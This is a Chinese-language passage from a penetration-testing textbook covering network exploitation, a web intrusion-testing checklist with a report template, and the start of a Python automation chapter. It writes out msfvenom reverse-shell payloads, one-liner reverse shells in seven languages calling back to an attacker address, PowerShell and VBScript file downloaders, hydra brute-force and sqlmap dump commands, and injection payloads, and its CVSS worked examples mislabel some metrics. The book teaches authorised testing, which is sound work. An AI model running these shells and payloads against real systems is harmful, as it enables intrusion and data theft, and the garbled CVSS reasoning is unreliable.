gobuster -u http://[IP address]-w /usr/share/wordlists/dirb/common.txt -s '200,204,301,302,307,403,500' -e
-
端口 TCP 110 – POP3:
- Nmap 脚本探测:
nmap -sV -p 110 -Pn -T5 --host-timeout 15m --script=pop3* -v [IP address]
-
端口 UDP 137、138,TCP 端口 137、139 – Netbios & TCP 445 – Samba(SMB):
- Nmap 脚本探测:
nmap -sV -p 139,445 -Pn -T5 --host-timeout 200m --script=smb* -v [IP address]
-
- 使用 Enum4Linux 探测 SMB:
enum4linux -a [IP address]
-
- 使用 nmblookup 探测 SMB:
nmblookup -A [IP address]
-
- 使用 nbtscan 探测 Netbios:
nbtscan -r [IP address]
-
- 列出 SMB 共享:
smbclient -L [IP address] -N
-
- 连接到共享目录:
smbclient //[IP address]/[Shared directory]
-
端口 UDP 161 – SNMP:
- Nmap 脚本探测:
nmap -sV -p 161 -Pn -T5 --host-timeout 15m --script=snmp* -v [IP address]
-
- 枚举 MIB 树:
snmpwalk -c public -v1 [IP address]
-
- 使用 snmp-check 工具探测 SNMP:
snmp-check -t [IP address]
-
端口 TCP 389 – LDAP:
- Nmap 脚本探测:
nmap -sV -p 389 -Pn -T5 --host-timeout 15m --script=ldap* -v [IP address]
-
端口 TCP 443 – HTTPS/SSL:
- Nmap 脚本探测:
nmap -sV -p 443 -Pn -T5 --host-timeout 15m --script=ssl* -v [IP address]
-
端口 TCP 1433 – Microsoft SQL Server (MSSQL):
- Nmap 脚本探测:
nmap -sV -p 1433 -Pn -T5 --host-timeout 15m --script=ms-sql* -v [IP address]
-
- 暴力破解凭据:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] mssql://[IP address]
-
端口 TCP 3306 – MySQL:
- Nmap 脚本探测:
nmap -sV -p 3306 -Pn -T5 --host-timeout 15m --script=mysql* -v [IP address]
-
- 暴力破解凭据:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] mysql://[IP address]
-
端口 TCP/UDP 3389 – 远程桌面协议 (RDP):
- Nmap 脚本探测:
nmap -sV -p 3389 -Pn -T5 --host-timeout 15m --script=rdp* -v [IP address]
-
- 暴力破解凭据:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] rdp://[IP address]
漏洞评估
在上一节中,我们对服务进行了激进的枚举。一些 Nmap 脚本将检查漏洞——例如,当输入选项 --script=http* 时,Nmap 将执行所有 HTTP 脚本,包括那些检查漏洞的脚本,例如 http-vuln-cve2010-2861。
实际上,在企业环境中,我们会使用自动化扫描工具,通常是 Nessus 或 Nexpose。如今,这些公司也提供云端扫描服务——例如,Nexpose 的云端版本叫做 InsightVM。我们在很大程度上依赖这些扫描工具来识别网络基础设施中的漏洞。你的角色是获取扫描结果并确认这些漏洞确实存在——换句话说,就是确保它们不是误报。
OpenVas
如果你想练习漏洞评估怎么办?你可以安装并使用一个免费的漏洞评估工具,叫做 OpenVas。要在 Kali Linux 上安装它,访问 www.kali.org/penetration-testing/openvas-vulnerability-scanning。
安装 OpenVas 时,别忘了保存生成的密码。通常,密码会在安装的最后一步显示。
使用 OpenVas 扫描 IP 地址或范围,执行以下步骤:
-
确保 OpenVas 服务已经通过
$ service openvas-manager start启动。 -
使用
firefox https://127.0.0.1:9392在浏览器中打开它。 -
输入默认用户名
admin和在安装过程中为你生成的密码。 -
在菜单中,选择“配置”选项卡,然后选择“目标”。
-
点击“新目标”按钮(按钮图标是一个蓝色星星,通常位于屏幕的左上角)添加新目标。
-
在新的目标窗口中,确保填写以下内容:
-
目标名称
-
IP/范围
-
端口列表
-
-
保存目标后,选择“扫描”菜单并点击“任务”项。
-
使用“新任务”按钮(蓝色星星图标)添加任务。
-
确保为任务选择以下选项:
-
名称
-
指定之前创建的目标
-
选择正确的扫描配置
-
-
创建任务后,它应该出现在任务主页面。
-
在“操作”列下,点击“开始”按钮(一个绿色的播放图标)。
-
扫描器将在任务完成时在报告栏中显示“完成”状态。
-
在报告栏下,点击链接以显示漏洞结果。
在开始利用阶段之前,我建议你先熟悉一下 Metasploit。查看附录 B以获取 Metasploit 的完整备忘单。
利用漏洞
利用阶段是通过利用目标机器上的漏洞并获得远程 Shell 来完成的。就是这么简单,没错吧?我们开始吧。
查找漏洞
一般来说,99%的情况下,漏洞扫描器会告诉你在哪里可以找到漏洞,方便你从自己这边进行复现。以下是大多数漏洞的来源:
-
Google 一下——听起来简单,但这是我最喜欢的方法
-
Exploit-db网站www.exploit-db.com -
Kali Linux 中的 searchsploit 工具
-
Metasploit——使用
search命令找到它 -
Security Focus 网站
www.securityfocus.com -
有时你会在 GitHub 上找到它们,网址是
www.github.com
监听器设置
在上传并执行有效载荷之前,你需要在 Kali Linux 上设置并执行一个监听器。
要使用Metasploit创建监听器,请输入以下命令:
use exploit/multi/handler set PAYLOAD [msfvenom Payload name] set LHOST [Kali IP address] set LPORT [Listening port on Kali] set ExitOnSession false exploit -j -z
要使用netcat创建监听器,请使用以下命令:
nc -nlvp [listening port on Kali]
使用 msfvenom 生成 Shell 有效载荷
现在我们来讨论如何在不同平台上使用msfvenom生成 Shell 有效载荷:
- Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f elf > linux_shell.elf
- Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f exe > windows_shell.exe
- macOS:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f macho > mac_shell.macho
- PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f raw > php_shell.php
如果你使用php/reverse_php,那么打开msfvenom生成的输出文件,使用编辑器在脚本的开始加上<?php,并在末尾加上?>。
- ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f asp > asp_shell.asp
- JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[Your Kali IP Address] LPORT=[Your Listening Port on Kali] -f raw > jsp_shell.jsp
自定义 Shell
如果你不想使用msfvenom,你可以创建你自己的自定义 Shell。这里有一些示例:
- Bash
bash -i >& /dev/tcp/[Your Kali IP Address]/[Your Listening Port on Kali] 0>&1
在以下示例中,我假设我的 Kali IP 是10.1.1.100,监听端口是4444。
- PERL
perl -e 'use Socket;$ip="10.1.1.100";$prt=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($prt,inet_aton($ip)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- Python
python -c 'import socket,subprocess,os;skt=socket.socket(socket.AF_INET,socket.SOCK_STREAM);skt.connect(("10.1.1.100",4444));os.dup2(skt.fileno(),0); os.dup2(skt.fileno(),1); os.dup2(skt.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
说到 Python,如果你获得了远程 Shell,可以使用python -c 'import pty; pty.spawn("/bin/sh")'来生成 TTY Shell。
- PHP
php -r '$sock=fsockopen("10.1.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
- Ruby
ruby -rsocket -e'f=TCPSocket.open("10.1.1.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- Netcat
nc -e /bin/sh 10.1.1.100 4444
- Java
rt = Runtime.getRuntime()
pc = rt.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.1.1.100/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
pc.waitFor()
权限提升
利用漏洞后,大多数情况下你将获得一个有限的 Shell。下一步是获取受害者机器上的管理员账户。为此,你需要选择以下方法之一:
-
将文件传输到受害者机器,以便获得 Root Shell(例如,Dirty COW)
-
复制粘贴适用于 Windows 操作系统的 PowerShell 有效载荷(例如,Empire PowerShell)
-
使用 Metasploit/Meterpreter 提升权限(参见附录 B)
-
手动搜索配置错误的参数,以便获得管理员/Root Shell
文件传输
让我们来看一个实际场景。假设你刚刚获得了受害者机器的有限 Shell,你知道操作系统是 Linux,并且想要将Dirty COW上传到远程服务器并执行。以下是这种方法的步骤:
-
将
Dirty COW二进制文件复制到目标 HTTP 目录,路径为/var/www/html。 -
使用
$service apache2 start启动 Web 服务器。 -
通过受限 shell 使用以下命令将文件下载到受害者的机器上(我将文件下载到
/tmp目录):-
cd /tmp -
$wget [http://Kali IP 地址/文件名]
-
那么如果我想将文件传输到 Windows 机器呢?为此,我需要使用 PowerShell,如以下部分所示。
使用 PowerShell
在你的受限 shell 中执行以下命令来创建脚本:
echo $storageDir = $pwd > wget_win.ps1
echo $webclient = New-Object System.Net.WebClient >>wget_win.ps1
echo $url = "http://[kali IP]/file name" >>wget_win.ps1
echo $file = "get-admin.exe" >>wget_win.ps1
echo $webclient.DownloadFile($url,$file) >>wget_win.ps1
我选择了文件名get-admin.exe。你不必使用相同的名字;你可以使用任何你喜欢的名字。
接下来,使用powershell.exe执行脚本:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget_win.ps1
使用 VBScript
对于没有 PowerShell 的旧版 Windows,我们将使用 VBScript。第一步是创建脚本。然后,我们可以使用cscript命令执行它:
echo strUrl = WScript.Arguments.Item(0) > wget_win.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget_win.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget_win.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget_win.vbs
echo Err.Clear >> wget_win.vbs
echo Set http = Nothing >> wget_win.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget_win.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget_win.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget_win.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget_win.vbs
echo http.Open "GET", strURL, False >> wget_win.vbs
echo http.Send >> wget_win.vbs
echo varByteArray = http.ResponseBody >> wget_win.vbs
echo Set http = Nothing >> wget_win.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget_win.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget_win.vbs
echo strData = "" >> wget_win.vbs
echo strBuffer = "" >> wget_win.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget_win.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget_win.vbs
echo Next >> wget_win.vbs
echo ts.Close >> wget_win.vbs
执行wget_win.vbs脚本:
cscript wget_win.vbs http://[Kali IP address]/[File Name] get-admin.exe
我选择了文件名get-admin.exe。你不必使用相同的名字;你可以使用任何你喜欢的名字。
管理员或 root 权限
输入所有这些命令是耗时的。为了更快地完成这个过程,最好的方法是通过前一部分中描述的方法上传一个脚本文件到受害者的机器,文件传输。网上最好的脚本可以从以下 GitHub 仓库下载:
-
适用于 Windows:
github.com/pentestmonkey/windows-privesc-check
如果你使用 Metasploit 并且拥有 Meterpreter 会话,请使用以下命令提升权限:
meterpreter > getsystem
请参阅附录 B,以获取 Metasploit/Meterpreter 权限提升的完整指南。
Windows 权限提升漏洞通常用 Python 编写。你可以下载pyinstaller.py将漏洞转换为可执行文件并上传到远程服务器,例如:
-
安装 PyInstaller:
$pip install pyinstaller -
下载你的漏洞:
$wget http://[漏洞 URL] -
转换它:
$python pyinstaller.py --onefile [python file.py]
有些漏洞是用 C 语言编写的。要编译 C 语言二进制文件,请执行以下命令:
$gcc -o [输出文件名] [原始二进制文件.c]
总结
本章涵盖了许多话题,从信息收集到权限提升。我尽力涵盖了最重要的内容,并且直接切入重点,省略了琐碎的细节,以便在单章中最大限度地覆盖话题。
本章你学到的只是渗透测试的部分内容。事实上,本章我们只涉及了基于网络的评估。在下一章,我们将讨论基于 Web 应用的渗透测试。
第十章:网页入侵测试
本书的主要目的是讲解这个主题:网页入侵测试,也叫做网页渗透测试。你可能是因为这个主题而购买本书的,但你需要知道,网页渗透测试只是拼图的一部分。为了实现成功的完整渗透测试,你还需要包括威胁建模、源代码审查以及网络渗透测试。
第七章,应用威胁建模,应该已经为你提供了网页应用程序的架构概览,源代码审查也应该让你有了深入的理解。别忘了网络渗透测试,它可以揭示出有趣的漏洞。我设计这些章节的顺序是有原因的——反映现实生活中的场景。我写这本书并不是为了赚钱;事实上,我希望我的读者会想,这本书的作者是谁?让我请他喝一杯!
正如我之前所做的,我会尽量以最少的哲学讨论和最直接的内容来写这章。为此,让我们跳过所有的废话,开始这章精彩的内容,这一章将涵盖以下主题:
-
网页入侵测试工作流程
-
识别隐藏的网页内容
-
常见网页测试检查表
-
特殊页面测试检查表
-
报告
网页入侵测试工作流程
这是本章中最重要的部分,因为它将帮助你构建你的测试结构。一个典型的渗透测试员会面临的挑战是每个人都告诉他们参考 OWASP 的网页入侵测试检查表。但是,所有测试人员都会问自己一个大问题:我从哪里开始?**我如何按照检查表进行? 在进入具体步骤之前,让我们先看一下这个工作流程的图像,一张图胜过千言万语。我的工作流程基于一个代理工具:Burp Pro。更多细节请参见本书开头的第四章,全面了解使用 Burp Suite:

-
第一步在前面的图中没有提到,它是网页服务器漏洞评估,我们在前一章讨论过。
-
第二步是启动 Burp 并确保在代理选项卡中开启了拦截功能。接下来,分别浏览每一页,并通过代理的请求/响应详细信息检查内容。在浏览过程中,尝试与每一页进行交互,手动发送包含数据的表单 POST 请求。同时,尝试在搜索页面上使用搜索按钮。你明白了,别只是盲目点击。
-
使用Burp Spider和Burp 内容发现来爬取页面。你也可以使用其他工具进行爬取,详情请见前一章的 HTTP 枚举部分。
-
识别任何隐藏的内容,如
robots.txt文件。我们将在本章稍后展示检查表(暂时先获取整体概念)。 -
Burp 将列出在目标选项卡中找到的所有页面和文件。对于每个找到的页面,执行以下步骤。
-
将每个请求发送到Burp Scanner以自动扫描问题。
-
对于手动扫描,您需要问自己以下问题:这是一个特殊页面吗?(例如,登录页面;再次强调,不用担心。稍后我将列出所有细节。)
-
如果是特殊页面,我们将按照该页面特定的清单进行检查。例如,如果是登录页面,我们将测试默认凭据。之后,我们将按照常见清单进行检查。
-
如果不是特殊页面,我们将直接转到常见清单(检查注释、SQLi 输入测试等)。
-
收集所有发现的漏洞并从中创建报告。
识别隐藏内容
实际上,您将问自己的一个重要问题是,我需要找到什么? 当进行 Web 入侵测试时,您需要一个可靠的清单作为参考。话虽如此,以下是您可以在工作流程中的此步骤中使用的清单:
-
Robots.txt文件 -
备份文件(
.bak、.old) -
其他有趣的文件(
.xls、.doc、.pdf、.txt) -
管理 URL(例如,
phpmyadmin, wp-admin) -
调试剩余页面和 URL
-
是否使用 CMS?(WordPress)
如果在前述清单中找到任何项目,请检查其内容是否包含有价值的信息,包括:
-
个人信息
-
电子邮件地址
-
凭据
-
进入到另一个系统的入口点(例如,WordPress)
常见网页清单
这是 Web 入侵测试清单的核心。如前述工作流程中所述,您需要将此清单应用于每个页面,无论其性质如何。让我们深入了解:
-
确定网页的入口点(指向后端的入口点;记住我们将在接下来的步骤中使用入口点),包括:
-
URL
-
头部(例如,cookie、URL 引用等)
-
HTML 控件(下拉列表、单选按钮、隐藏输入、文本框等)
-
-
检查使用 Burp Target 调用的所有后端或第三方 Web 服务和 Web API。
-
强制将 URL 切换到HTTP模式,并查看是否有效,或者是否仍然保持在 HTTPS。
-
尝试使页面生成错误;换句话说,错误消息是否透露给黑客线索?
-
测试逻辑漏洞(例如,以零美元购买商品,或应用随机生成的折扣)。
-
我们能够无需身份验证加载页面吗?在 Burp 中使用浏览器中的请求(除非页面不需要受保护)。
-
尝试直接调用管理员页面或资源(例如,Web API 和图像),使用低级别权限。
-
使用具有不同权限的多个帐户进行测试(普通用户与管理员)。使用 Burp 的比较站点地图功能来完成此任务。
-
检查头部安全最佳实践,确保以下值存在:
-
X-frame-options -
X-content-type-options -
Strict-transport-security -
Content-security-policy -
X-permitted-cross-domain-policies -
X-XSS-protection:1;mode=block -
X-content-type-options:nosniff
-
-
通过将cookie/sessionID发送到 Burp Sequencer,分析其随机性。
-
暴力破解****cookie/sessionID,通过将其发送到 Burp Intruder。选择 sniper 作为攻击类型,对于有效载荷类型,设置为 Character Frobber。
-
确保每次登录后会生成一个新的会话。
-
尝试解码 cookie/sessionID(或 ASP.NET ViewState)使用 Burp Decoder。
-
操控 cookie 参数(例如,将
isAdmin=0更改为isAdmin=1)。 -
会话超时的持续时间是多少?
-
检查客户端源代码(HTML 和 JavaScript),查找以下内容:
-
HTML 注释
-
调试遗留物
-
安全逻辑缺陷
-
隐藏输入控件的内容
-
禁用控件(例如,
<input disabled="true" name="secret">)
-
-
检查所有经过身份验证的页面上是否存在注销按钮。
-
搜索 ID(例如,
EmployeeID= 100)在入口点,并使用 Burp Intruder 对其进行暴力破解。通常,这个测试会让你揭示其他用户的数据(例如两个具有相同权限的帐户)。 -
尝试访问资源,这些资源是测试帐户无法查看的(例如图片、文档等)。
-
使用 Burp CSRF POC 测试CSRF。通常,Burp 扫描器会自动检测到它。
-
尝试绕过每个具有客户端验证的 HTML 控件(例如,
<form action='addItem.aspx' onsubmit='return validate(this)' >);检查服务器端是否也会验证它。 -
使用模糊测试技术测试SQL 注入(使用 Burp Intruder 或 Repeater),并注入以下内容:
-
' -
1; 等待延迟
'0:15:0'-- -
使用 SQL map 自动化:
-
$sqlmap -u http://[victim IP] --crawl=1
- 如果收到错误消息,或者执行了延迟操作,请使用SQL map 导出数据库(对于以下示例,我们已经确定
http://10.0.0.100/index.php?id=234是一个候选项,并且数据库是 MySQL):
$**sqlmap** **-u** http://10.0.0.100/index.php?id=234 --dbms=mysql --dump --threads=7
-
使用模糊测试技术测试XSS(使用 Burp Intruder 或 Repeater),并尝试注入以下内容:
-
<script> alert(1) </script> -
"><script>alert(1)</script>
-
-
使用模糊测试技术测试命令注入(使用 Burp Intruder 或 Repeater),并尝试注入以下内容(我将使用
whoami命令,因为它在 Windows 和 Linux 上都存在):-
& whoami -
| whoami -
|| whoami -
; whoami
-
-
使用模糊测试技术测试本地文件包含(使用 Burp Intruder 或 Repeater),并尝试注入以下内容(尝试手动更改斜杠的数量以到达正确的目录):
-
Linux: ../../../../etc/passwd -
Windows: ../../../../boot.ini
-
-
测试远程文件包含,通过注入另一个网站的 URL(例如,
http://[victim domain]/page.php?file=http://[attacker domain]/[infected page])。
OWASP 提供了一些手动 Web 入侵测试的项目,网址为 www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents。
特殊页面检查清单
在渗透测试过程中,你将遇到一些特定的页面,遇到这些页面时,你需要使用一个与之前不同的检查清单。请注意,在完成这一步后,你仍然需要使用通用的检查清单:
-
登录页面(包括管理员页面):
-
测试默认凭证(例如,
用户名= admin和密码= admin)。 -
使用字典文件进行暴力破解凭证。
-
测试在多次失败尝试后是否会锁定账户,以防止 DoS 攻击。
-
是否使用 CAPTCHA?它可以防御自动化攻击。
-
使用 SQL 注入绕过身份验证。
-
它们是否使用记住密码功能?
-
-
注册页面:
-
它们是否允许使用弱密码?
-
如果你用现有用户名注册,你能枚举用户吗?
-
测试是否存在弱且预生成的问题和答案(例如,最喜欢的颜色,容易通过暴力破解获得)。
-
-
重置/更改密码页面:
-
测试用户是否能更改他人的密码(例如,更改管理员密码)。
-
检查密码更改和重置的工作流程。
-
用户在更改/重置后是否会收到确认电子邮件?
-
重置/更改密码时需要哪些信息?
-
新的临时密码(用于密码重置)的强度(或随机性)如何?
-
用户是否被要求在第一次登录后更改随机密码(用于密码重置)?
-
对于密码更改,用户在更改过程中是否需要输入旧密码?
-
-
上传页面:
-
你能上传一个 Web shell 吗?(使用
msfvenom。) -
如果应用程序允许上传可执行文件,你能上传一个后门吗?(使用
msfvenom。) -
上传后,你能通过 URL 访问文件吗?你能看到其他用户的文件吗?
-
报告
在完成渗透测试活动后,你需要创建一份报告。人们通常会从工具(Burp、Nessus 等)自动生成的报告中复制粘贴内容。这正是业余人员与专业人员的区别:后者会确保验证误报并重新评估漏洞的评分。在本节中,我将展示如何评估你发现的漏洞评分,之后,我将分享一个模板,供你在未来的报告活动中参考。
通用漏洞评分系统 – CVSS
通用漏洞评分系统(CVSS)v3 在一段时间前发布,作为对 CVSS v2 的增强。一个大问题是:如果工具(例如 Burp)已经计算了分数,为什么还需要重新计算?让我给你举个例子。假设你发现了一个 SQL 注入漏洞,报告上显示评分很高。但实际上,测试的服务器已经与互联网断开,并且仅在特定 VLAN 上可用,而且存储在数据库中的数据并不机密。你还应该认为这个评分很高吗?当然不!这就是为什么你总是需要重新计算你的评分,以确保它与现实相匹配。
这里我使用的是 CVSS v3,但你也可以使用在线计算器:www.first.org/cvss/calculator/3.0。
CVSS 考虑了以下变量(你稍后会理解每个变量的含义):
-
攻击向量 (AV):网络 (N),邻接 (A),本地 (L),物理 (P)
-
攻击复杂性 (AC):低 (L),高 (H)
-
所需权限 (PR):无 (N),低 (L),高 (H)
-
用户交互 (UI):无 (N),需要 (R)
-
范围 (S):未改变 (U),已改变 (C)
-
机密性 (C):无 (N),低 (L),高 (H)
-
完整性 (I):无 (N),低 (L),高 (H)
-
可用性 (A):无 (N),低 (L),高 (H)
有些人更喜欢使用 DREAD 方法来计算分数。这是个人的选择;最终,你需要确保你拥有一个准确的度量标准,能够帮助你的组织(或客户)。另外,你可以同时使用两种方法,虽然这会增加开销;但再次强调,没有优先选择。与团队讨论,找出他们最喜欢的方法。最终,你需要考虑到大多数工具使用国家漏洞数据库(NVD),它使用 CVSS 来计算分数。
我们如何判断一个 9 分的评分是高的或是关键的呢?你不需要再碰壁了;这是评分指南:CVSS V3 基础评分:0-10
| 严重性 | 基础评分范围 |
|---|---|
| 无 | 0 |
| 低 | 0.1 - 3.9 |
| 中等 | |
| 高 | 7.0 - 8.9 |
| 危急 | 9.0 - 10.0 |
让我们看一个实际的例子,来计算两个漏洞的 CVSS 评分:
-
SQL 注入
-
反射型 XSS
该 web 服务器可以通过互联网访问,数据库存储了机密数据(客户个人信息)。
第一个例子 – SQL 注入
测试者通过注入单引号成功执行了 SQL 注入,后来他使用 SQL map 导出了整个数据库:
-
AV:N:攻击者将通过网络连接执行攻击。
-
AC:L:复杂度非常低,因为这是反射型 XSS(当我们在 URL 查询字符串中注入单引号
'时,出现了错误信息)。 -
PR:N:无需特权。
-
UI:R:受害者不需要与有效载荷进行交互。
-
S:C:范围不仅仅是 Web 服务器;数据库也受到影响。
-
C:H:由于数据库包含机密数据。
-
I:H:黑客可以通过远程执行 SQL 命令更改数据库中的数据。
-
A:H:黑客可以删除所有记录,导致数据库不可用。

第二个案例–反射型 XSS
测试人员能够将 JavaScript 注入到 URL 参数中,浏览器执行了该脚本:
-
AV:N:黑客将通过网络连接执行攻击。
-
AC:L:复杂度非常低;黑客在所有浏览器上测试了 JavaScript,并且它能够正常运行。
-
PR:N:不需要权限。
-
UI:N:受害者需要通过社交工程攻击点击一个链接。
-
S:C:范围不仅限于 Web 服务器;受害者的浏览器也受到影响。
-
C:L:由于设置了
HttpOnly标志,机密性影响较低,因为攻击者未能访问足够的 cookie 数据来劫持受害者的会话。 -
I:L:黑客可能只会在受害者的浏览器上下文中更改数据。
-
A:N:黑客无法影响服务器的可用性。

报告模板
在本节中,我将分享一个报告模板,您可以在完成渗透测试后使用(无论是 Web 入侵测试还是网络渗透测试)。
封面页:
[公司名称] – [项目名称] – 安全测试报告
目录:
History Log ........................................... [Page Number] Summary ................................................[Page Number] [Vulnerability Name]......................................[Page Number]
Summary............................................[Page Number] CVSS Score .......................................[Page Number] Issue Description..................................[Page Number] Issue Remediation..................................[Page Number] Proof............................................ [Page Number]
历史记录:
| 版本 | 日期 | 修改者 | 简短描述 |
|---|---|---|---|
| 版本号 | [今天的日期] | [您的姓名] |
总结:
下表显示了在不同类别中识别的问题数量。根据其严重性,问题被分类为严重、高、中或低,使用 CVSS v3 方法论。这反映了每个问题对[公司名称]的可能影响:
| 严重性 | 漏洞描述 | 发生次数 |
|---|---|---|
| 严重/高/中/低 | 漏洞名称(例如,反射型 XSS) | 1 到无限 |
[漏洞名称](您将在渗透测试期间对所有发现重复这一部分。)
总结:
| 严重性: | 严重/高/中/低 |
|---|---|
| 信心度: | 确定/暂定 |
| 主机/URL: | 目标 IP 地址/URL |
CVSS 得分:

问题描述:
[在这里,您需要描述漏洞的具体情况。]
问题修复:
[人们需要知道如何修复漏洞。在本节中,您将添加所有必要的信息,包括修复的技术细节。]
证明:
[在本节中,您需要添加所有从渗透测试中收集的证据;例如,截图、漏洞源代码、来自网页入侵测试的请求/响应—您明白的。]
总结
我希望你喜欢这一章。最重要的是,我希望它能帮助你快速高效地完成渗透测试任务。我在这一章中与你分享的工作流程是你成功的秘密武器;我在自己的渗透测试中也使用它。我尽力给你提供了一份检查清单,而没有过多的细节,因为你应该在本书的开头部分(特别是在第五章,理解 Web 应用程序漏洞)已经学到了这些。我以这种方式结构化本书是有原因的。
到目前为止,你已经了解了渗透测试的所有活动,从威胁建模到 Web 入侵测试。那么接下来是什么呢?既然你已经了解了所有内容,下一步是学习如何通过使用强大的编程语言 Python 来自动化渗透测试任务。
第十一章:使用 Python 进行渗透测试自动化
各位,这本书的最后一章到了,我想祝贺你们走到今天这一刻。只有有纪律且有动力的人才能到达终点线,你们每一个人都值得我的尊敬。到目前为止,你们已经学习了许多可以在安全测试中执行的终端命令。然而,在渗透测试过程中你们会发现,很多命令会重复多次,那么为什么不使用像 Python 这样的脚本语言来自动化这些命令呢?
在本章中,我将快速演示如何在 Kali 上安装 Python IDE,之后我们将通过实际场景来开发一个使用 Python 的程序。我会带领你完成所有步骤,帮助你开始自动化渗透测试任务,并尽量使用实际示例。
我在附录 E中创建了一个完整的 Python 参考部分,快去看看吧。
你准备好开始了吗?首先,让我给你介绍一下本章的内容:
-
学习如何在 Kali 上安装 Python IDE
-
学习如何在 Python 中开发自动化脚本
Python IDE
你需要一个 Python 集成开发环境(IDE)来开发你自己的脚本。你不一定非要使用 Python IDE,实际上,你可以使用 Kali Linux 中的任何文本编辑器(例如 nano、vim 或 gedit)。然而,如果你希望轻松开发大型脚本,能够调试错误、格式化源代码、可视化输出,并且在应用程序运行之前就能发现错误,使用专业的 IDE 是必不可少的。在本章中,我们将使用一个非常流行且免费的 Python IDE,叫做 PyCharm。你可以在www.jetbrains.com/pycharm/找到它。
你也可以通过终端窗口使用 Python 解释器。假设你有了一个想法,并希望快速测试它。打开 Kali 中的终端窗口,输入 python,然后按 Enter。让我们看一个例子。我将创建一个名为 ip_address 的变量,给它赋值,然后将其打印在屏幕上:

你可以在前面的截图中看到,Kali 默认的 Python 解释器是 2.7.14,实际上,我将在本章使用的也是这个版本。是的,Python 有更新的版本(版本 3),但本书不会涉及。如果你想加深对 Python 的了解,建议你观看一些在线课程,以加快学习进程,并至少购买一本书作为你高级项目的参考资料(另外,别忘了查看附录 E)。
下载并安装 PyCharm
在本节中,我们将下载并安装 PyCharm 到 Kali 上:
- 打开浏览器,直接进入下载区:
www.jetbrains.com/pycharm/download:

- 一旦你进入下载页面,下载 PyCharm 的免费社区版。下载完成后,你需要右键点击新下载的文件,并选择“解压到此处”:

- 一旦你解压了归档目录,尝试打开
bin文件夹,然后执行pycharm.sh文件:

执行上述命令后,系统会提示你几个对话框来帮助安装。没什么特别的!你只需要接受协议并使用默认的安装参数。如果改变主意,别担心,你可以稍后修改它们。这样一来,我们就完成了下载和安装 PyCharm 的步骤。
PyCharm 快速概览
在本节中,我们将尝试使用 PyCharm 执行一个简单的Hello World示例,并且我们还将更改其配置以使用 Python 2.7 版本。要运行它,执行我们之前在安装 PyCharm 时执行的pycharm.sh命令:
- 在对话框中,点击“创建新项目”按钮。接下来,选择你想保存项目的位置路径:

-
正如你在前面的截图中看到的,我已将基础解释器更改为 Python 2.7,以确保代码按照此版本的语法规范进行编译。此外,请注意,在前面的示例中,我选择将源文件保存在
/root/PycharmProjects/test路径中。点击“创建”按钮以创建新项目。 -
IDE 界面将会打开,首先你需要做的是创建 Python 文件。为此,右键点击 PyCharm 左侧的
test目录,选择“新建”,然后从菜单中点击“Python 文件”:

- 我将调用并创建
HelloWorld文件。接下来,让我们尝试创建你的第一个 Python 程序。我将添加以下简单的代码行,打印Hello World到屏幕上:

- 如果你犯了错误怎么办?IDE 会在你运行代码之前通过红色线条标出错误,并告诉你代码中出了什么问题。接下来,让我们运行
Hello World脚本。为此,选择“运行”菜单,然后从列表中选择“运行...”来执行脚本:

如果你仔细看 IDE 底部,你会看到脚本的输出:

恭喜!你刚刚完成了使用 PyCharm IDE 构建你的第一个程序。接下来让我们进入下一节,开发真正的自动化脚本。
渗透测试自动化
在本节中,我将向您展示如何开发一个完全功能的应用程序,可以自动执行 TCP 扫描并执行服务枚举。该应用程序将首先执行 Nmap TCP 扫描,然后我们将检查 FTP 或 HTTP 端口是否打开,最后我们将枚举这些服务。我将此应用程序限制为仅限 FTP 和 HTTP 端口,但您可以根据自己的喜好添加更多服务。
Automate.py 的操作
我强烈鼓励您前往github.com/PacktPublishing/Practical-Web-Penetration-Testing下载源代码。确保在 Kali 中安装gobuster(使用apt-get install gobuster命令)。
在 Kali Linux 中,打开终端窗口并在终端窗口中执行以下命令(确保您在相同目录中):
python Automate.py

执行命令后,您将输入要扫描的目标 IP 地址,应用程序将显示扫描进度,直到完成。最后,您可以在reports文件夹中检查扫描报告内容:

实用函数
